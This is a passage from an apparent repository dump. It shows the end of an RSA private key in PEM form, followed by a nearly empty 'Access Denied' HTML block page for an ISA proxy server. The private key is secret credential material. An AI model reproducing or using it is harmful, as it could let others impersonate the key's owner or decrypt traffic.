14 | nNr3G918q+CE/0tBHqyl1i8SQ/f3Ejo7eLsfpAGwR9kbD9hw2ViYvEio9dAIMVTL
15 | LzJoSDLwcPCtEOpasl0xzyXrTBzWuNYTlfvGkyd2mutynORRIZPhgHkCgYEA00Q9
16 | cHBkoBOIHF8XHV3pm0qfwuE13BjKSwKIrNyKssGf8sY6bFGhLSpTLjWEMN/7B+S1
17 | 5IC0apiGjHNK6Z51kjKhEmSzCg8rXyULOalsyo2hNsMA+Lt1g72zJIDIT/+YeKAf
18 | s85G6VgMtNLozNjx7C1eMugECJ+rrpRVpIe1kJcCgYAr+I0cQtvSDEjKc/5/YMje
19 | ldQN+4Z82RRkwYshsKBTEXb6HRwMrwIhGxCq8LF59imMUkYrRSjFhcXFSrZgasr2
20 | VVz0G4wGf7+flt1nv7GCO5X+uW1OxJUC64mWO6vGH2FfgG0Ed9Tg3x1rY9V6hdes
21 | AiOEslKIFjjpRhpwMYra6QKBgQDLFO/SY9f2oI/YZff8PMhQhL1qQb7aYeIjlL35
22 | HM8e4k10u+RxN06t8d+frcXyjXvrrIjErIvBY/kCjdlXFQGDlbOL0MziQI66mQtf
23 | VGPFmbt8vpryfpCKIRJRZpInhFT2r0WKPCGiMQeV0qACOhDjrQC+ApXODF6mJOTm
24 | kaWQ5QKBgHE0pD2GAZwqlvKCM5YmBvDpebaBNwpvoY22e2jzyuQF6cmw85eAtp35
25 | f92PeuiYyaXuLgL2BR4HSYSjwggxh31JJnRccIxSamATrGOiWnIttDsCB5/WibOp
26 | MKuFj26d01imFixufclvZfJxbAvVy4H9hmyjgtycNY+Gp5/CLgDC
27 | -----END RSA PRIVATE KEY-----
28 |
--------------------------------------------------------------------------------
/src/files/AccessDenied.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
Website Blocked: ISA Proxy Server
4 |
14 |
15 |
16 |
30 |